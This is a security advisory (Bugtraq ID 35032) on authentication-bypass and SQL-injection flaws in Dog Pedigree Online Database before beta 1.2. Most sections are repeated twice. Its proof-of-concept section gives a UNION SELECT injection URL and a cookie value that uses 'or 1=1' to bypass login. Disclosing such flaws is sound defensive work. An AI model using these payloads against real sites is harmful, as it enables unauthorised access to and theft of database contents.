Dog Pedigree Online Database Authentication Bypass and Multiple SQL Injection Vulnerabilities
BID:35032
Info
Dog Pedigree Online Database Authentication Bypass and Multiple SQL Injection Vulnerabilities
| Bugtraq ID: | 35032 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | May 19 2009 12:00AM |
| Updated: | May 21 2009 01:21AM |
| Credit: | YEnH4ckEr |
| Vulnerable: |
Dog Pedigree Online Database Dog Pedigree Online Database Beta 1.2 Dog Pedigree Online Database Dog Pedigree Online Database beta 1.0.1 |
| Not Vulnerable: | |
Discussion
Dog Pedigree Online Database Authentication Bypass and Multiple SQL Injection Vulnerabilities
Dog Pedigree Online Database is prone to an authentication-bypass vulnerability and multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
Versions prior to Dog Pedigree Online Database beta 1.2 are vulnerable.
Dog Pedigree Online Database is prone to an authentication-bypass vulnerability and multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
Versions prior to Dog Pedigree Online Database beta 1.2 are vulnerable.
Exploit / POC
Dog Pedigree Online Database Authentication Bypass and Multiple SQL Injection Vulnerabilities
Attackers can use a browser to exploit these issues.
The following examples are available:
http://www.example.com/[HOME_PATH]/managePerson.php?personId=-1+UNION+ALL+SELECT+1,version(),user(),database(),version(),user(),database(),version(),user(),database(),11,12%23
Add cookie --> Name ~> dogarchive_user_info
--> Value ~> email=&uid=-1%20or%201=1#&seclev=
Attackers can use a browser to exploit these issues.
The following examples are available:
http://www.example.com/[HOME_PATH]/managePerson.php?personId=-1+UNION+ALL+SELECT+1,version(),user(),database(),version(),user(),database(),version(),user(),database(),11,12%23
Add cookie --> Name ~> dogarchive_user_info
--> Value ~> email=&uid=-1%20or%201=1#&seclev=
Solution / Fix
Dog Pedigree Online Database Authentication Bypass and Multiple SQL Injection Vulnerabilities
Solution:
Updates are available. Please see the references for details.
Solution:
Updates are available. Please see the references for details.
References
Dog Pedigree Online Database Authentication Bypass and Multiple SQL Injection Vulnerabilities
References:
References: